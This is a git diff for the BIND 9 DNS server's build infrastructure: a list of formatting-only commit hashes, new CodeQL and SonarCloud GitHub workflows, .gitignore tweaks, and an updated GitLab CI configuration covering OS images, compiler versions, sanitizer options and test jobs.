+e2eaaf8015f3e680c3a03b48b657e16226cb75c8
+# update copyright notice / whitespace
+e37bc34b317d9d81d3974b448917809ad2dd7d54
+# update copyright notice
+e38affadb35615f77bd6e4ccdeab58de13e74cb8
+# update copyright notice
+e436a3d9656604856290321f3a0421861eb73a49
+# update_copyrights
+e44e0ff3850931e7a79e4c86363f52990536f7bf
+# update copyright notice / whitespace
+e545fce91b64e57420b69cb5c230df4c0029a547
+# update copyright notice
+e5d117e83f365d9921685e91bd9ff2c62a136455
+# update copyright notice
+e64f32cd04913a922d8a75da3d7b611684941b70
+# update copyright notice / whitespace
+e66aaccfd886dc6843296c73eb2eea820082f36b
+# update copyright notice / whitespace
+e6801bf89ec7cf2f2e7cb542c14eba8c6f6505c9
+# update copyright notice
+e81f7dffab7e793394b84f4a451f51b3db3a7e25
+# apply the modified style
+e851ed0bb502fb2e883ed3e3cc2e90d680009294
+# update copyright notice / whitespace
+e8742e9598a72a429cf2ca05c6c1bc3de9b35283
+# update copyright notice / whitespace
+e880197f31dd191b3dcbb689f79f98b0493ec64b
+# update copyright notice
+e8914b47a2481a993a9be6a1c9587715aa936b5a
+# whitespace: line out settime calls nicely
+e97313b44d9c572ef6701cda4d8eb17e677af6bc
+# update copyright notice
+e9c7fe450ed5f6f40ce5a64b9309812bb4082685
+# update copyright notice / whitespace
+ea055a82cd9eb225f26a17af58189fc0fd9e74f2
+# Remove trailing whitespaces
+ea2d213f34b623d538b8f2d4d58acde080e076fb
+# update copyright notice / whitespace
+ea2ea0914c797038581232aca561195a4127cc6c
+# update copyright notice
+ea3dd509f64804198bcd0792e319ce0fa0b10907
+# [master] whitespace
+eaa2277753c6e7e642e83b2ccd27671a15336310
+# update copyright notice
+eade480b330b543777431760fd6c467c21affc86
+# update copyright notice
+ec5347e2c775f027573ce5648b910361aa926c01
+# update copyright notice
+ecc420b2837f8de347d7b4d779248933b453ce79
+# [master] whitespace
+ecfe29f54b0566d9923b826b2e4a36ee83c9ea3e
+# update copyright notice / whitespace
+ed07d7a8f59521f0b9ade193ce5ecc7cbd4d2510
+# minor reformatting issue; no functional change made.
+ed0b018ee06295f5fa8c45412486d40f219f2fef
+# update copyright notice / whitespace
+ed1f93cc24c0940e4d237e4d05d01926d05e16f4
+# update copyright notice / whitespace
+ed5bf0e581e9a41511682fbc5e8ba987d9697683
+# update copyright notice / whitespace
+ed91aca9e609ae3f4a23a96e50b6991d95f16951
+# Update the source code formatting using clang-format-13
+ed95f9fba3897126d0902db0053e6e776176bd40
+# update copyright notice / whitespace
+ed9fea3a6e2b5660fd87f328f71ab6db8735be0d
+# update copyright notice / whitespace
+ee47b6607af1afdf0d00ee3ceed088cbee72871b
+# update copyright notice
+ee53fcb61cfc8c54125bcd9da8adfa89974dc948
+# update copyright notice
+ee980d3fc4c23b7f87fed96d3ba5e928937c9ed4
+# update copyright notice
+ef1963d83d69d03a006a882afcddbff48cd747d0
+# update copyright notice / whitespace
+f0cbe180f0ec1a660b397886c55c592bbbcbb4ae
+# update copyright notice / whitespace
+f159b7b5c761d9107808fef524a8491f41b4cd4f
+# update copyright notice / whitespace
+f16a6bfb6cb4559cce89943f9427d4ec054fbdc4
+# update copyright notice / whitespace
+f192875d12aa62afe6b7cd7c9fdd49b174d0ab6e
+# update copyright notice / whitespace
+f254ab049e6fb9772fd9811d0f218dbf4ee7afaa
+# update copyright notice / whitespace
+f28c6dc514ce348284f6fc0ed58f79a2830b402e
+# update_copyrights
+f2e5c64635e0c561b7d371b3b9d703632e390cc5
+# update copyright notice / whitespace
+f30a3f28db24b3216ff7e5358afff03887732898
+# update copyright notice
+f378953f3b0ca72e03871bbc8eef9d190838e2f9
+# update copyright notice / whitespace
+f3affbe2ffee62f16a54e01fd03f02b1d2a948bc
+# update copyright notice / whitespace
+f3cbd0e0299338f95a97e73ac9c2b0fcdca2cbfb
+# update copyright notice / whitespace
+f4eb664ce35fcfc7136c278ff204547418abcc9d
+# Use clang-format to reformat the source files
+f50b1e0685e1afc8da3e314cb230be7192141761
+# update copyright notice / whitespace
+f5280a1563f38e3e8295277b6d18266f4a139456
+# update copyright notice / whitespace
+f5489931d7f0155a98042fb746a52111a88450fc
+# update copyright notice / whitespace
+f54a365aeb0741ea9ccecf8496df37a08701fd86
+# update copyright notice / whitespace
+f557aeef7cadac2940dfaa6300c922f0e1ff9453
+# update copyright notice / whitespace
+f562de3f71f9ca9827d96cf6468d8e03361564c7
+# whitespace
+f5dc94b026b5153de76eeb3c1161596251f26bcb
+# update copyright notice / whitespace
+f62eb5f112426d046b30f97595e3ba5f406ee152
+# update copyright notice / whitespace
+f6bc0a8608268bf96cc19573a7257bce22adc6fd
+# update copyright notice
+f6ea2b1d09668564c764e5d32ada7652068f0562
+# update copyright notice
+f70a10508f030b097a9b8afe907a06f9a1e2c4d4
+# update copyright notice / whitespace
+f72460c717166333266e73bf839d5cfce162d89d
+# update copyright notice / whitespace
+f89adb2c2a52b505501c3eaa2aec9fd4df6bd60a
+# update copyright notice / whitespace
+f8d33c2b2a85cdf1f6da27b9e8b58805c29a569c
+# update copyright notice / whitespace
+f929677ed8e0550fdc1bc4686bb35a0b0d545c31
+# update copyright notice
+f97d56e757b9a293ffbaa915ca4d792ae84ba85a
+# update copyright notice
+f9adb48aeade1ce6a815cf7fba57acac14861723
+# update copyright notice / whitespace
+faa3b61828dc2c6b92b68cd6e603fe2b9a7d5fdc
+# update copyright notice
+fb05b13c6f70997575febb3c2eb5a4709072ab60
+# update copyright notice / whitespace
+fba207e51a3c27f2ace7bbc61a4304b7a25f9944
+# update copyright notice
+fba68262db6fc189c8a29c3e044c69e0166971cd
+# update copyright notice
+fbe600459d05e644dbda2c36ef091535ea1eacee
+# update copyright notice
+fc84418f4a809e40f16cfb5b4f3834d735fca31f
+# whitespace / layout
+fcb54ce0a4f7377486df5bec83b3aa4711bf4131
+# update copyright notice
+fcd7c22fdff859e47d290981bb08cd3fc07369a1
+# update copyright notice / whitespace
+fd0039f4659e99c3ff3293d6bd334d3810d3c91e
+# update copyright notice
+fd5b3eb81a8c7ab17d7126c9ddc72c5a03230193
+# update copyright notice
+fe43ef9e63e66ddd04267e8ad0b41c96991fe7cc
+# update copyright notice
+fea81a5e0e9485b24262b6a7271a4643a4d2bad4
+# update copyright notice / whitespace
+feb1ccdaf161557d2f160974c16c294a6cdd8c3a
+# Add couple missing braces around single-line statements
+ff2249884948e309ade3a3abe83968a214e3e63f
+# random reformatting
+ff5760e233f6ab75e33783b6dd48f961ce04d933
+# update copyright notice / whitespace
+ffaab41a01621c0e02196e225f9269daf8b2ec8f
+# update copyright notice / whitespace
+ffac31097d25039951063bbb9f864e223a46ad1b
+# update copyright notice / whitespace
+ffbe6b95371c99b7fb05e6de17a8d6b7bf4f629f
+# remove trailing whitespace
+5893debf46ce1b5fbe793114a59da28fac4cccb7
+# arithmetic expansion in system tests
+4d42bdc245a1db1654abb502a52a5a8a3a570881
+# arithmetic expansion in system tests
+1436025e20ae13cfe55df14d62f5812c0cea2ee9
+# subshell notation in system tests
+05baf7206b7baaf91cb8e049ad13e413c52cdf3f
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
new file mode 100644
index 0000000000..3c0ca04a45
--- /dev/null
+++ b/.github/workflows/codeql.yml
@@ -0,0 +1,55 @@
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ "bind-9.16", "bind-9.18", "main" ]
+  schedule:
+    - cron: '39 8 * * 3'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'cpp' ]
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v3
+
+    - name: Install build dependencies
+      uses: awalsh128/cache-apt-pkgs-action@latest
+      with:
+        packages: liburcu-dev libuv1-dev libssl-dev libnghttp2-dev libxml2-dev liblmdb-dev libjson-c-dev pkg-config autoconf automake autotools-dev libtool-bin libjemalloc-dev libedit-dev libcap-dev libidn2-dev libkrb5-dev libmaxminddb-dev zlib1g-dev python3-ply
+        version: 1.0
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v2
+      with:
+        languages: ${{ matrix.language }}
+
+    - name: Autobuild
+      uses: github/codeql-action/autobuild@v2
+
+    # ℹī¸ Command-line programs to run using the OS shell.
+    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
+
+    #   If the Autobuild fails above, remove it and uncomment the following three lines.
+    #   modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
+
+    # - run: |
+    #   echo "Run, Build Application using script"
+    #   ./location_of_script_within_repo/buildscript.sh
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v2
+      with:
+        category: "/language:${{matrix.language}}"
diff --git a/.github/workflows/lockdown.yml b/.github/workflows/lockdown.yml
deleted file mode 100644
index f71b92567d..0000000000
--- a/.github/workflows/lockdown.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: 'Lock down mirror repository'
-
-on:
-  issues:
-    types: opened
-  pull_request:
-    types: opened
-
-jobs:
-  lockdown:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: dessant/repo-lockdown@v2
-        with:
-          github-token: ${{ github.token }}
diff --git a/.github/workflows/sonarcloud.yml b/.github/workflows/sonarcloud.yml
new file mode 100644
index 0000000000..c405566c0e
--- /dev/null
+++ b/.github/workflows/sonarcloud.yml
@@ -0,0 +1,50 @@
+name: SonarCloud
+
+on:
+  push:
+    branches: [ "bind-9.16", "bind-9.18", "main" ]
+  schedule:
+    - cron: '39 8 * * 3'
+
+jobs:
+  build:
+    name: Build and analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'cpp' ]
+
+    env:
+      BUILD_WRAPPER_OUT_DIR: build_wrapper_output_directory
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v3
+
+    - name: Install build dependencies
+      uses: awalsh128/cache-apt-pkgs-action@latest
+      with:
+        packages: liburcu-dev libuv1-dev libssl-dev libnghttp2-dev libxml2-dev liblmdb-dev libjson-c-dev pkg-config autoconf automake autotools-dev libtool-bin libjemalloc-dev libedit-dev libcap-dev libidn2-dev libkrb5-dev libmaxminddb-dev zlib1g-dev python3-ply
+        version: 1.0
+
+    - name: Install sonar-scanner and build-wrapper
+      uses: SonarSource/sonarcloud-github-c-cpp@v1
+
+    - name: Run build-wrapper
+      run: |
+        autoreconf -fi
+        ./configure
+        build-wrapper-linux-x86-64 --out-dir ${{ env.BUILD_WRAPPER_OUT_DIR }} make clean all
+
+    - name: Run sonar-scanner
+      env:
+        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
+      run: |
+        sonar-scanner --define sonar.cfamily.build-wrapper-output="${{ env.BUILD_WRAPPER_OUT_DIR }}"
diff --git a/.gitignore b/.gitignore
index 839e5452df..3edbde71e7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -5,6 +5,7 @@
 *.la
 *.lo
 *.log
+*.log.txt
 *.o
 *.orig
 *.plist/ # ccc-analyzer store its results in .plist directories
@@ -54,6 +55,7 @@ __pycache__/
 /test-driver
 Makefile
 Makefile.in
+Makefile.user
 ans.run
 gen.dSYM/
 named.memstats
@@ -62,8 +64,6 @@ timestamp
 /compile_commands.json
 # Gets generated by Build Ear (bear)
 /compile_commands.commands.json
-/cppcheck_html/
-/cppcheck.results
 /tsan
 /util/check-make-install
 /INSTALL
@@ -90,6 +90,7 @@ doc/man/pkcs11-list.8in
 doc/man/pkcs11-tokens.8in
 # clangd index directory
 /\.cache/
+/\.*_clangd/
 # GNU Global index files
 /GPATH
 /GRTAGS
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index abf4b208bc..594a2dfbf5 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,23 +6,33 @@ variables:
 
   CI_REGISTRY_IMAGE: registry.gitlab.isc.org/isc-projects/images/bind9
   CCACHE_DIR: "/ccache"
-  SOFTHSM2_CONF: "/var/tmp/softhsm2/softhsm2.conf"
 
   GIT_DEPTH: 1
+  GIT_CLEAN_FLAGS: -ffdxq
+
+  # The following values may be overwritten in GitLab's CI/CD Variables Settings.
   BUILD_PARALLEL_JOBS: 6
-  TEST_PARALLEL_JOBS: 6
+  TEST_PARALLEL_JOBS: 4
 
   CONFIGURE: ./configure
-  CLANG: clang-11
-  SCAN_BUILD: scan-build-11
-  ASAN_SYMBOLIZER_PATH: /usr/lib/llvm-11/bin/llvm-symbolizer
-  CLANG_FORMAT: clang-format-11
+  CLANG_VERSION: 16
+  CLANG: "clang-${CLANG_VERSION}"
+  SCAN_BUILD: "scan-build-${CLANG_VERSION}"
+  LLVM_SYMBOLIZER: "/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer"
+  CLANG_FORMAT: "clang-format-${CLANG_VERSION}"
 
-  CFLAGS_COMMON: -fno-omit-frame-pointer -fno-optimize-sibling-calls -O1 -g -Wall -Wextra 
+  CFLAGS_COMMON: -fno-omit-frame-pointer -fno-optimize-sibling-calls -O1 -g -Wall -Wextra
 
   # Pass run-time flags to AddressSanitizer to get core dumps on error.
-  ASAN_OPTIONS_COMMON: abort_on_error=1:disable_coredump=0:unmap_shadow_on_exit=1
-  TSAN_OPTIONS_COMMON: "disable_coredump=0 second_deadlock_stack=1 history_size=7 log_exe_name=true log_path=tsan external_symbolizer_path=/usr/lib/llvm-11/bin/llvm-symbolizer"
+  ASAN_OPTIONS: abort_on_error=1:disable_coredump=0:unmap_shadow_on_exit=1
+  ASAN_SYMBOLIZER_PATH: "${LLVM_SYMBOLIZER}"
+
+  TSAN_OPTIONS_COMMON: "disable_coredump=0 second_deadlock_stack=1 atexit_sleep_ms=1000 history_size=7 log_exe_name=true log_path=tsan"
+  TSAN_SUPPRESSIONS: "suppressions=${CI_PROJECT_DIR}/.tsan-suppress"
+  TSAN_OPTIONS_DEBIAN: "${TSAN_OPTIONS_COMMON} ${TSAN_SUPPRESSIONS} external_symbolizer_path=${LLVM_SYMBOLIZER}"
+  TSAN_OPTIONS_FEDORA: "${TSAN_OPTIONS_COMMON} ${TSAN_SUPPRESSIONS} external_symbolizer_path=/usr/bin/llvm-symbolizer"
+
+  UBSAN_OPTIONS: "halt_on_error=1:abort_on_error=1:disable_coredump=0"
 
   TARBALL_EXTENSION: xz
 
@@ -47,6 +57,13 @@ variables:
   BIND_STRESS_TEST_OS: linux
   BIND_STRESS_TEST_ARCH: amd64
 
+default:
+  # Allow all running CI jobs to be automatically canceled when a new
+  # version of a branch is pushed.
+  #
+  # See: https://docs.gitlab.com/ee/ci/pipelines/settings.html#auto-cancel-redundant-pipelines
+  interruptible: true
+
 stages:
   - autoconf
   - precheck
@@ -55,7 +72,6 @@ stages:
   - system
   - performance
   - docs
-  - push
   - postcheck
   - release
 
@@ -66,11 +82,25 @@ stages:
     - libvirt
     - amd64
 
+# Jobs with these tags do not run on AWS but on permanent OVH systems.
+
+.linux-respdiff-amd64: &linux_respdiff_amd64
+  tags:
+    - linux
+    - ovh
+    - amd64
+
+# Autoscaling GitLab Runner on AWS EC2
+
 .linux-amd64: &linux_amd64
   tags:
     - linux
+    - aws
+    - runner-manager
     - amd64
 
+# Stress-testing runners
+
 .linux-stress-amd64: &linux_stress_amd64
   tags:
     - amd64
@@ -96,28 +126,48 @@ stages:
 
 # Alpine Linux
 
-.alpine-3.13-amd64: &alpine_3_13_amd64_image
-  image: "$CI_REGISTRY_IMAGE:alpine-3.13-amd64"
+.alpine-3.18-amd64: &alpine_3_18_amd64_image
+  image: "$CI_REGISTRY_IMAGE:alpine-3.18-amd64"
   <<: *linux_amd64
 
-# CentOS
+# Oracle Linux
 
-.centos-centos7-amd64: &centos_centos7_amd64_image
-  image: "$CI_REGISTRY_IMAGE:centos-centos7-amd64"
+.oraclelinux-8-amd64: &oraclelinux_8_amd64_image
+  image: "$CI_REGISTRY_IMAGE:oraclelinux-8-amd64"
   <<: *linux_amd64
 
-.centos-centos8-amd64: &centos_centos8_amd64_image
-  image: "$CI_REGISTRY_IMAGE:centos-centos8-amd64"
+.oraclelinux-8fips-amd64: &oraclelinux_8fips_amd64_image
+  image: "oraclelinux-8fips-x86_64"
+  <<: *libvirt_amd64
+
+.oraclelinux-9-amd64: &oraclelinux_9_amd64_image
+  image: "$CI_REGISTRY_IMAGE:oraclelinux-9-amd64"
   <<: *linux_amd64
 
+.oraclelinux-9fips-amd64: &oraclelinux_9fips_amd64_image
+  image: "oraclelinux-9fips-x86_64"
+  <<: *libvirt_amd64
+
 # Debian
 
-.debian-stretch-amd64: &debian_stretch_amd64_image
-  image: "$CI_REGISTRY_IMAGE:debian-stretch-amd64"
+.debian-bullseye-amd64: &debian_bullseye_amd64_image
+  image: "$CI_REGISTRY_IMAGE:debian-bullseye-amd64"
   <<: *linux_amd64
 
-.debian-buster-amd64: &debian_buster_amd64_image
-  image: "$CI_REGISTRY_IMAGE:debian-buster-amd64"
+.respdiff-debian-bookworm-amd64: &respdiff_debian_bookworm_amd64_image
+  image: "$CI_REGISTRY_IMAGE:debian-bookworm-amd64"
+  <<: *linux_respdiff_amd64
+
+.debian-bookworm-amd64: &debian_bookworm_amd64_image
+  image: "$CI_REGISTRY_IMAGE:debian-bookworm-amd64"
+  <<: *linux_amd64
+
+.tsan-debian-bookworm-amd64: &tsan_debian_bookworm_amd64_image
+  image: "$CI_REGISTRY_IMAGE:tsan-debian-bookworm-amd64"
+  <<: *linux_amd64
+
+.debian-bookworm-amd64cross32: &debian_bookworm_amd64cross32_image
+  image: "$CI_REGISTRY_IMAGE:debian-bookworm-amd64cross32"
   <<: *linux_amd64
 
 .debian-sid-amd64: &debian_sid_amd64_image
@@ -132,70 +182,72 @@ stages:
 
 # Fedora
 
-.fedora-34-amd64: &fedora_34_amd64_image
-  image: "$CI_REGISTRY_IMAGE:fedora-34-amd64"
+.tsan-fedora-38-amd64: &tsan_fedora_38_amd64_image
+  image: "$CI_REGISTRY_IMAGE:tsan-fedora-38-amd64"
+  <<: *linux_amd64
+
+.fedora-38-amd64: &fedora_38_amd64_image
+  image: "$CI_REGISTRY_IMAGE:fedora-38-amd64"
   <<: *linux_amd64
 
-.fedora-34-arm64: &fedora_34_arm64_image
-  image: "$CI_REGISTRY_IMAGE:fedora-34-arm64"
+.fedora-38-arm64: &fedora_38_arm64_image
+  image: "$CI_REGISTRY_IMAGE:fedora-38-arm64"
   <<: *linux_stress_arm64
 
 # Ubuntu
 
-.ubuntu-bionic-amd64: &ubuntu_bionic_amd64_image
-  image: "$CI_REGISTRY_IMAGE:ubuntu-bionic-amd64"
-  <<: *linux_amd64
-
 .ubuntu-focal-amd64: &ubuntu_focal_amd64_image
   image: "$CI_REGISTRY_IMAGE:ubuntu-focal-amd64"
   <<: *linux_amd64
 
+.ubuntu-jammy-amd64: &ubuntu_jammy_amd64_image
+  image: "$CI_REGISTRY_IMAGE:ubuntu-jammy-amd64"
+  <<: *linux_amd64
+
 # Base image
 # This is a meta image that is used as a base for non-specific jobs
 
 .base: &base_image
-  <<: *debian_buster_amd64_image
+  <<: *debian_bookworm_amd64_image
 
 ### QCOW2 Image Templates
 
-.freebsd-11-amd64: &freebsd_11_amd64_image
-  image: "freebsd-11.4-x86_64"
-  <<: *libvirt_amd64
-
 .freebsd-12-amd64: &freebsd_12_amd64_image
-  image: "freebsd-12.2-x86_64"
+  image: "freebsd-12.4-x86_64"
   <<: *libvirt_amd64
 
 .freebsd-13-amd64: &freebsd_13_amd64_image
-  image: "freebsd-13.0-x86_64"
+  image: "freebsd-13.2-x86_64"
   <<: *libvirt_amd64
 
 .openbsd-amd64: &openbsd_amd64_image
-  image: "openbsd-6.9-x86_64"
+  image: "openbsd-7.3-x86_64"
   <<: *libvirt_amd64
 
 ### Job Templates
 
-.default-triggering-rules: &default_triggering_rules
+.api-schedules-tags-triggers-web-triggering-rules: &api_schedules_tags_triggers_web_triggering_rules
   only:
-    - merge_requests
+    - api
+    - schedules
     - tags
+    - triggers
     - web
-    - schedules
 
-.release-branch-triggering-rules: &release_branch_triggering_rules
+.api-schedules-triggers-web-triggering-rules: &api_schedules_triggers_web_triggering_rules
   only:
-    - merge_requests
-    - tags
-    - web
+    - api
     - schedules
-    - main@isc-projects/bind9
-    - /^v9_[1-9][0-9]$/@isc-projects/bind9
+    - triggers
+    - web
 
-.schedules-tags-web-triggering-rules: &schedules_tags_web_triggering_rules
+.default-triggering-rules: &default_triggering_rules
   only:
+    - api
+    - merge_requests
     - schedules
     - tags
+    - triggers
     - web
 
 .precheck: &precheck_job
@@ -204,53 +256,60 @@ stages:
   stage: precheck
 
 .autoconf: &autoconf_job
-  <<: *release_branch_triggering_rules
+  <<: *default_triggering_rules
   <<: *base_image
   stage: autoconf
   script:
     - autoreconf -fi
   artifacts:
     untracked: true
-    expire_in: "1 day"
 
-.configure: &configure |
-    ${CONFIGURE} \
-    --disable-maintainer-mode \
-    --enable-developer \
-    --enable-option-checking=fatal \
-    --enable-dnstap \
-    --with-cmocka \
-    --with-libxml2 \
-    --with-json-c \
-    $EXTRA_CONFIGURE \
-    || (test -s config.log && cat config.log; exit 1)
-
-.check_readline_setup: &check_readline_setup |
-    if [[ -n "${WITHOUT_READLINE}" ]]; then \
-      ! grep "^#define HAVE_READLINE" config.h; \
-    elif [[ -n "${WITH_READLINE}" ]]; then \
-      grep -e "^#define HAVE_READLINE_READLINE" \
-           -e "^#define HAVE_READLINE_LIBEDIT" \
-           -e "^#define HAVE_READLINE_EDITLINE" config.h; \
-    elif [[ -n "${WITH_READLINE_EDITLINE}" ]]; then \
-      grep "^#define HAVE_READLINE_EDITLINE" config.h; \
-    elif [[ -n "${WITH_READLINE_LIBEDIT}" ]]; then \
-      grep "^#define HAVE_READLINE_LIBEDIT" config.h; \
-    elif [[ -n "${WITH_READLINE_READLINE}" ]]; then \
-      grep "^#define HAVE_READLINE_READLINE" config.h; \
-    fi
-
-# Move the out-of-tree workspace to CI project dir to save it for use in
-# dependent jobs.
-.save_out_of_tree_workspace: &save_out_of_tree_workspace
-  - test -n "${OUT_OF_TREE_WORKSPACE}" && mv "${OUT_OF_TREE_WORKSPACE}" "${CI_PROJECT_DIR}"
-
-# Move the artifacts from the out-of-tree build job to their original
-# location (the out-of-tree workspace) and then continue work in the
-# out-of-tree workspace.
-.retrieve_out_of_tree_workspace: &retrieve_out_of_tree_workspace
-  - test -n "${OUT_OF_TREE_WORKSPACE}" && mv "$(basename "${OUT_OF_TREE_WORKSPACE}")" "${OUT_OF_TREE_WORKSPACE}"
-  - test -n "${OUT_OF_TREE_WORKSPACE}" && cd "${OUT_OF_TREE_WORKSPACE}"
+.configure: &configure
+    - ${CONFIGURE}
+      --disable-maintainer-mode
+      --enable-developer
+      --enable-option-checking=fatal
+      --enable-dnstap
+      --enable-dnsrps
+      --with-cmocka
+      --with-libxml2
+      --with-json-c
+      --enable-leak-detection
+      $EXTRA_CONFIGURE
+      || (test -s config.log && cat config.log; exit 1)
+
+# change directory to the workspace before including this
+.find_python: &find_python
+  - PYTHON="$(source bin/tests/system/conf.sh; echo $PYTHON)"
+  - test -x "$PYTHON"
+
+.find_pytest: &find_pytest
+  - PYTEST="$(source bin/tests/system/conf.sh; echo $PYTEST)"
+  - test -x "$PYTEST"
+
+.parse_tsan: &parse_tsan
+    - find -name 'tsan.*' -exec "$PYTHON" util/parse_tsan.py {} \;
+
+.check_readline_setup: &check_readline_setup
+    - if [[ -n "${WITHOUT_READLINE}" ]]; then
+        ! grep "^#define HAVE_READLINE" config.h;
+      elif [[ -n "${WITH_READLINE}" ]]; then
+        grep -e "^#define HAVE_READLINE_READLINE"
+             -e "^#define HAVE_READLINE_LIBEDIT"
+             -e "^#define HAVE_READLINE_EDITLINE" config.h;
+      elif [[ -n "${WITH_READLINE_EDITLINE}" ]]; then
+        grep "^#define HAVE_READLINE_EDITLINE" config.h;
+      elif [[ -n "${WITH_READLINE_LIBEDIT}" ]]; then
+        grep "^#define HAVE_READLINE_LIBEDIT" config.h;
+      elif [[ -n "${WITH_READLINE_READLINE}" ]]; then
+        grep "^#define HAVE_READLINE_READLINE" config.h;
+      fi
+
+# Unpack release tarball and continue work in the extracted directory.
+.unpack_release_tarball: &unpack_release_tarball
+  - tar --extract --file bind-*.tar.${TARBALL_EXTENSION}
+  - rm -f bind-*.tar.${TARBALL_EXTENSION}
+  - cd bind-*
 
 .build: &build_job
   <<: *default_triggering_rules
@@ -262,134 +321,196 @@ stages:
     - *configure
     - *check_readline_setup
     - make -j${BUILD_PARALLEL_JOBS:-1} -k all V=1
+    - test -z "${BUILD_CONTRIB}" || for DIR in contrib/dlz/modules/*; do test -f "${DIR}/Makefile" && CFLAGS="${CFLAGS} -Werror" make -C "${DIR}"; done
     - test -z "${RUN_MAKE_INSTALL}" || make DESTDIR="${INSTALL_PATH}" install
+    - test -z "${RUN_MAKE_INSTALL}" -o -z "${BUILD_CONTRIB}" || for DIR in contrib/dlz/modules/*; do test -f "${DIR}/Makefile" && make -C "${DIR}" DESTDIR="${INSTALL_PATH}" install; done
     - test -z "${RUN_MAKE_INSTALL}" || DESTDIR="${INSTALL_PATH}" sh util/check-make-install
     - if [[ "${CFLAGS}" == *"-fsanitize=address"* ]]; then ( ! grep -F AddressSanitizer config.log ); fi
+    - test -z "${CROSS_COMPILATION}" || grep -F -A 1 "checking whether we are cross compiling" config.log | grep -q "result.*yes"
+    - test -z "${CROSS_COMPILATION}" || file lib/dns/gen | grep -F -q "ELF 64-bit LSB"
+    - test -z "${CROSS_COMPILATION}" || ( ! git ls-files -z --others --exclude lib/dns/gen | xargs -0 file | grep "ELF 64-bit LSB" )
     - if test -z "${OUT_OF_TREE_WORKSPACE}" && test "$(git status --porcelain | grep -Ev '\?\?' | wc -l)" -gt "0"; then git status --short; exit 1; fi
-  after_script:
-    - *save_out_of_tree_workspace
+    - bin/named/named -V
   needs:
     - job: autoreconf
       artifacts: true
   artifacts:
     untracked: true
-    expire_in: "1 day"
+    when: always
 
-.setup_interfaces: &setup_interfaces |
-    if [ "$(id -u)" -eq "0" ]; then
-      sh -x bin/tests/system/ifconfig.sh up;
-    else
-      sudo sh -x bin/tests/system/ifconfig.sh up;
-    fi
+.setup_interfaces: &setup_interfaces
+    - if [ "$(id -u)" -eq "0" ]; then
+        sh -x bin/tests/system/ifconfig.sh up;
+      else
+        sudo sh -x bin/tests/system/ifconfig.sh up;
+      fi
 
-.setup_softhsm: &setup_softhsm |
-    export SLOT=$(sh -x bin/tests/prepare-softhsm2.sh)
-    test -n "${SLOT}" && test "${SLOT}" -gt 0
+cross-version-config-tests:
+  stage: system
+  <<: *base_image
+  <<: *default_triggering_rules
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON}"
+    # Disable option checking to prevent problems with new default options in
+    # the &configure anchor.
+    EXTRA_CONFIGURE: "--disable-option-checking"
+  script:
+    - *configure
+    - *setup_interfaces
+    - make -j${BUILD_PARALLEL_JOBS:-1}
+    # Build system test binaries.
+    - make -C bin/tests/system -j${TEST_PARALLEL_JOBS:-1} check TESTS=""
+    - export BIND_BRANCH="$(sed -n -E "s|^m4_define\(\[bind_VERSION_MINOR\], ([0-9]+)\)dnl$|\1|p" configure.ac)"
+    # When testing a .0 release, compare it against the previous development
+    # release (e.g., 9.19.0 and 9.18.0 should both be compared against 9.17.22).
+    - if [ "$(sed -n -E "s|^m4_define\(\[bind_VERSION_PATCH\], ([0-9]+)\)dnl$|\1|p" configure.ac)" = "0" ]; then export BIND_BRANCH=$((BIND_BRANCH - 1 - (BIND_BRANCH % 2))); fi
+    - BASELINE="$(curl -s "https://gitlab.isc.org/api/v4/projects/1/repository/tags?search=^v9.${BIND_BRANCH}&order_by=version" | jq -r ".[0].name")"
+    - git clone --branch "${BASELINE}" --depth 1 https://gitlab.isc.org/isc-projects/bind9.git "bind-${BASELINE}"
+    - cd "bind-${BASELINE}"
+    - autoreconf -fi
+    - *configure
+    - make -j${BUILD_PARALLEL_JOBS:-1}
+    - *find_pytest
+    - cd bin/tests/system
+    # Run the setup phase of all system tests in the most recently tagged BIND 9
+    # release using the binaries built for the current BIND 9 version.  This
+    # intends to detect obvious backward compatibility issues with the latter.
+    - sed -i -E "s|(export TOP_BUILDDIR)=.*|\1=${CI_PROJECT_DIR}|" conf.sh
+    - >
+      "$PYTEST" --setup-only -n "${TEST_PARALLEL_JOBS:-1}"
+  needs:
+    - job: autoreconf
+      artifacts: true
+  artifacts:
+    paths:
+      - bind-*
+    untracked: true
+    expire_in: "1 day"
+    when: on_failure
+
+.display_pytest_failures: &display_pytest_failures
+    - awk '/^=+ FAILURES =+/{flag=1;next}/^=+.*=+$/{flag=0}flag' bin/tests/system/pytest.out.txt || true
+    - awk '/^=+ ERRORS =+/{flag=1;next}/^=+.*=+$/{flag=0}flag' bin/tests/system/pytest.out.txt || true
 
 .system_test_common: &system_test_common
   <<: *default_triggering_rules
   stage: system
   before_script:
-    - *setup_softhsm
-    - *retrieve_out_of_tree_workspace
+    - test -n "${OUT_OF_TREE_WORKSPACE}" && cp -r bin/tests/system/* "${OUT_OF_TREE_WORKSPACE}/bin/tests/system/" && cd "${OUT_OF_TREE_WORKSPACE}"
     - *setup_interfaces
   script:
+    - *find_pytest
     - cd bin/tests/system
-    - make -j${TEST_PARALLEL_JOBS:-1} -k check V=1
